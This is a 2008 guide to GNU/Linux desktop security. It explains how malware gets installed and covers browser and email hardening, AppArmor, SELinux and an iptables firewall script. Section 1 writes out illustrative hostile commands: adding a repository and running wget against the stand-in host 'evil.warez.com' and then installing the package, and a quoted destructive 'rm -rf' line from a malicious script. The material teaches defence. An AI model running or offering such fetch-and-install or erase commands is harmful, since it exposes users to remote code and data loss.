

GNU/Linux Security

Simon Bridge *

March 20, 2008

Computer cracking is no longer the domain of bored kids with nothing to do: the network equivalent of vandalism. These days, crackers are well organised, and in it for the money. Typically the cracker wants enough information to fraudulently pretend to *be* you (identity theft) or to use your computer as part of a botnet to attack better targets. So, securing your computer makes us all safer.

1 How to Install Malware

GNU/Linux and unix-based OSs in general are notoriously difficult to install malware to. GNU/Linux is designed to be network aware, so includes protection at the OS level which is usually supplied by third parties, for less network-aware OSs.

There are a number of ways malicious programs can get on your GNU/Linux computer. Understanding them will help you understand security.

1.1 From a Script

You download a script called `evil-malware.sh`, cd into it's directory and run:

```
sudo chmod +x evil-malware.sh
sudo ./evil-malware.sh
```

...the script then executes one or more of the other methods. Usually the other install methods are disguised as something you want to do - and hiding them in a script like this is one way.

Usually, however, scripts like EasyUbuntu and Automatrix are merely poorly written. They can trash your system, but not on purpose. I have seen a script circulating called "ktweak.sh" which contained the command `rm -rf > /dev/null` which means "erase everything and don't tell anyone you're doing it". Victims were told it would make their computer work better if they executed it as root.

Note: you have to use the sudo part, or the script will only trash your home directory.

*Licence = FDL <www.gnu.org/fdl.html>

1.2 from Source

You can download a tarball: `evil-malware.tar.gz` to a handy directory, then open a terminal, `cd` into the tarball directory and run the following commands on it:

```
tar xzvf evil-malware.tar.gz
cd evil-malware
./configure
make
sudo make install
```

...then reboot.

This will only work if you have the compiler packages and all the needed development tools installed. These are not installed by default. Even if they were, it's unlikely you could do all that by accident.

1.3 from a Repository

```
sudo gedit /etc/apt/sources.list
```

...add the line `deb http://evil.warez.com/ubuntu gutsy malware`, save and exit.

```
sudo apt-get install evil-malware
```

...note the need to be root again. Nothing gets installed to the actual system without your password. Also, a normal update won't do it - GNU/Linux doesn't update stuff that's not there, and doesn't install anything without your sayso.

As a special case of this, you can download the file:

```
wget http://http://evil.warez.com/ubuntu/gutsy/malware/evil-malware.i386.deb
sudo dpkg --install evil-malware.i386.deb
```

...just double-clicking on it's icon won't do, because it cannot escape your home directory.

1.4 Other

All the above need someone to convince you to do this. Setting up the situation where you will be more likely to agree is called "social engineering".

As well as social engineering, crackers will attempt to trick a program that already has your permission to run or install the malware for you. For example, when you give firefox permission to run, it can download images without you needing to tell it to. A way to get a program to do run malware is called an *exploit*.

Particularly anything intended to improve interoperability with Windows systems. Examples include: OpenOffice (.DOC, .XLS etc. files), and Samba (Windows networking). Also, WINE can run many Windows programs, including malware.

None of these capabilities are installed by default.

1.5 Results

Malware is often in the eye of the beholder. Keyloggers started out as debugging routines, password crackers are used to test password integrity, packet sniffers and port scanners are important network administration tools. When these things are used in a manner which is undesirable to us or our community, they become malware.

However, malware actually written for GNU/Linux tends to be academic in nature, and so obscure that it is fixed well before anyone can take advantage.

2 Basic Security Discipline

Security is a process, not a program. The simple disciplines which protect Windows users are applicable to anybody.

2.1 Evolution Email

(and any email client)

Rule: Send and receive plain-text emails only.

1. *Edit* → *Preferences* → *MailPreferences* → *HTMLMail*

- Uncheck all the boxes except: “Prompt when sending html” and “Never Load Images”.
- Set “HTML Mode” to “Only Ever Show Plain”.

2. *Edit* → *Preferences* → *ComposePreferences* → *HTMLMail*

- Uncheck all but the Alerts.

2.2 Mozilla Firefox

(and any web browser)

Rule:

- Do not enable javascript, flash or shockwave.
- If already enabled, disable them.
- When Silverlight comes along, disable that too.
- Use a whitelist for cookies.

Many browsers allow you to handle this dynamically, so you can selectively allow suspect things for sites you trust. Firefox has a range of plugins for this: Adblock Plus and Noscript are considered *essential tools*.

In firefox, *edit* → *preferences*, provides lots of tabs...

main: save files to - put download files someplace other than your desktop.

content: Block popups, java, and javascript. Block images if you are on a dialup (speeds things up). If Noscript is installed, you want to *enable* javascript.

privacy: do not accept cookies - add trusted sites to “exceptions” as the issue crops up.

security: you want to be warned when sites try to install add-ons.

3 Built-in Security

As well as what you do yourself, GNU/Linux and Unix systems have their own security systems built in. The process starts with application development being open source — as a result, security experts can, and do, examine popular applications for vulnerabilities. When they find one, it gets published immediately, with fanfare. This is a powerful incentive to write bug-free code and exploit-free programs.

Then there are access controls, limiting the scope of exploits. These are the main reason there are so few viruses written for GNU/Linux – even if you can get one installed, it just can’t do that much.

3.1 Unix Permissions

Unix permission make up a Discretionary Access Control. Anyone who can log in to your account can do anything you have permission to do. Programs can act as users too, with the same effect.

So, your password becomes important.

Passwords are hacked by social engineering, guessing, dictionary and brute force¹.

You protect against this by choosing passwords more than 8 characters long, which are very random. You are constrained by the need to remember your password - but you should avoid dictionary words, leet-speak variations, or anything associated with you, personally.

`hbc1ug002` is actually a strong password against a dictionary attack, easy to remember, but it’s based on the name of the computer so it’s quite simple to guess. `Mf4%1]vR` would be very tough to brute force, cannot be guessed, isn’t in the dictionary, but is really tough to remember. Choose carefully.

If you change your password every month, that makes it even harder.

3.2 AppArmor

AppArmor allows the system administrator to associate with each program a security profile which restricts the capabilities of that program. It supplements the traditional Unix discretionary access control (DAC) model by providing mandatory access control (MAC).

AppArmor was created in part as an alternative to SELinux, which critics claim is difficult for administrators to set up and maintain[1]. Unlike SELinux, which is based on applying labels to files, AppArmor works with file paths. Proponents of AppArmor claim that it is less complex and easier for the average user to learn than SELinux.

AppArmour is installed by default in openSUSE and Ubuntu. Check it’s status with: `sudo apparmor_status`

¹http://searchwindowssecurity.techtarget.com/tip/1,289483,sid45_gci11041626,00.html

3.3 SELinux

Security-Enhanced Linux (SELinux) is a Linux feature that provides a variety of security policies, including U.S. Department of Defense style mandatory access controls, through the use of Linux Security Modules (LSM) in the Linux kernel. It is not a Linux distribution, but rather a set of modifications that can be applied to Unix-like operating systems, such as Linux and BSD. Its architecture strives to streamline the volume of software charged with security policy enforcement, which is closely aligned with the TCSEC (Orange Book) requirement for TCB minimization (applicable to evaluation classes B3 and A1). The germinal concepts underlying SELinux can be traced to several earlier projects by the U.S. National Security Agency.

SELinux is installed by default on Ubuntu and fedora. It has much stronger MAC than AppArmor, but is harder to learn. Fortunately, the default policies are plenty for normal people.

4 IPTables Firewall

IPTables is a user space application program that allows a system administrator to configure the netfilter tables, chains, and rules (described above). Because iptables requires elevated privileges to operate, it must be executed by user root, otherwise it fails to function. On most Linux systems, iptables is installed as /usr/sbin/iptables and documented in its man page.

IPTables is included in all linux distributions, but a firewall is not always set up by default. Even when one is, it is usually too general for normal use. The following sections set up a simple, but highly effective, firewall for a single computer with an internet connection.

4.1 Key Concepts

Network traffic takes the form of packets (messages) which use Internet Protocol (IP). IPTables makes rules to filter or redirect these messages.

When thinking about packets, it is useful to work out a general filtering policy. The one we will follow says:

1. let the computer internals talk to each other
2. trust yourself, so all outgoing messages will get through
3. don't trust the internet, so only messages you ask for can come in
4. everything else, we block

These will provide pretty much the same rules that apply by default to a hardware router.

4.2 Clearing Existing Rules

Whatever the previous rules, we don't want them.

```
sudo iptables --flush
sudo iptables --flush -t nat
```

Now there are no rules hanging around we don't know about.

4.3 Default Policy

IPTables is like the bouncer on the door to a popular club. You could tell him to let anyone in who is not undesirable. But it is more efficient to tell him to keep out anyone who isn't desirable. This means, if you are not on the "desirable" list, you don't get in. This is equivalent to a default drop policy.

```
sudo iptables -P INPUT DROP
sudo iptables -P OUTPUT DROP
sudo iptables -P FORWARD DROP
```

At this point, your computer is extremely safe. It's also useless — so we need to tell our bouncer who is desirable.

4.4 Loopback Interface

Loopback (lo) is a network used inside your computer (it's IP address is 127.0.0.1) which lets different bits talk to each other. Without this, the computer won't work, so we let all traffic through.

```
sudo iptables -A OUTPUT -j ACCEPT -o lo
sudo iptables -A INPUT -j ACCEPT -i lo
```

Your computer now works, but you are completely isolated from the internet.

4.5 Internet/Network Rules

It's OK for any packet to head out to the outside world, but we only want back what we ask for.

```
sudo iptables -A OUTPUT -m state --state NEW,RELATED,ESTABLISHED -j ACCEPT
sudo iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
```

The above OUTPUT rule could also be achieved by setting the policy to ACCEPT earlier.

4.6 Port Forwarding

The FORWARD rules, which we disabled at the start, are only needed when you want to share your internet connection with another computer (using two network devices) or if you are extra paranoid. Most people don't need this, so it stays disabled.

4.7 Automatic Activation

You can view the rules in place with `sudo iptables -L`. But you don't want to go through all that each time you turn the computer on. The standard approach is to write the rules into a bash script, and tell Linux to load the script at boot.

Here's the script:

```
#!/bin/bash

## hbclug basic firewall
```

```

## License: GNU GPLv3+
## www.hbclinux.net.nz

# remove existing rules
sudo iptables --flush
sudo iptables --flush -t nat

# set default drop policy
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP

# allow loopback traffic
iptables -A OUTPUT -j ACCEPT -o lo
iptables -A INPUT -j ACCEPT -i lo

# allow all traffic out
iptables -A OUTPUT -m state --state NEW,RELATED,ESTABLISHED -j ACCEPT

# allow only requested packets in
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT

```

Save the script to a handy location (`/usr/sbin` say) and make it executable (`sudo chmod +x /usr/sbin/myfirewall.sh`). To start it automatically, `sudo gedit /etc/rc.local` and add the full path and filename to the bottom, like this:

```

#!/bin/sh -e
#
# rc.local
#
# This script is executed at the end of each multiuser runlevel.
# Make sure that the script will "exit 0" on success or any other
# value on error.
#
# In order to enable or disable this script just change the execution
# bits.
#
# By default this script does nothing.

## Start My Firewall Script Here
/usr/sbin/myfirewall.sh

exit 0

```

4.8 Output Filtering

You only need output filtering if you are worried that you may have some kind of malware or a malicious user. You can restrict output to only the internet, or to only a particular user.

4.9 Sharing a Connection

In this section, you have two computers. One is connected to the internet, but also to another computer. This is called a gateway. The other computer is connected to the first. This is lanside.

The gateway computer will have two network interfaces, which means it has two IP addresses, so it is called a “dual homed host”. The LAN-side computer is expected to be connected to the gateway via it’s ethernet port, through a switch or over a crossover cable.

The above firewall is fine for the local computer, but the gateway needs to allow messages from the local computer, destined for the internet, to go through. Also needs to allow internet messages intended for the local computer from the internet.

This is done by adding the following FORWARD rules to the usual firewall script:

```
# Allow IP Forwarding and use NAT for outgoing connections.
# (Only use for dual homed host acting as an internet gateway.)
/bin/echo ‘1’\> /proc/sys/net/ipv4/ip_forward
iptables -P FORWARD ACCEPT
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
```

Assuming eth0 is the nic connected to the internet: it may be eth1. If it is a modem, it will be ppp0 instead. If it is a wireless connection, it will be wlan0. It is also possible to make a connection between two computers with a serial cable, by connecting their modems through a line-emulator, or by radio (wireless). The actual firewalling is the same.

5 Anti-Virus/Malware Scanners

Is is unusual for a GNU/Linux user to have any kind of AV scanner running at all. Even more unusual that they need to. The most likely reason for running one is to conform to some sort of corporate security policy, or to help protect Windows. Increasingly, scanners are needed to secure “compatibility” applications like WINE.

To that end, **ClamAV** is a highly regarded’ 100% Free Software, solution.

```
sudo apt-get install clamav
```

There are many commercial AV applications, some free for personal use (i.e. not free software), which run on GNU/Linux. As well as the Symantec and McAfee offerings, Grisoft’s *AVG Linux Free* and Fisk Software’s *F-Prot* have received positive reviews.

None of them are needed.

6 Conclusion

Security is not just a process, it’s a tradeoff. You have to decide how much you want to give up to be safe. Unix default procedures, now being implimented in other OSs, lowers the bar on the bad guys and helps you increase the level of security you are paying for.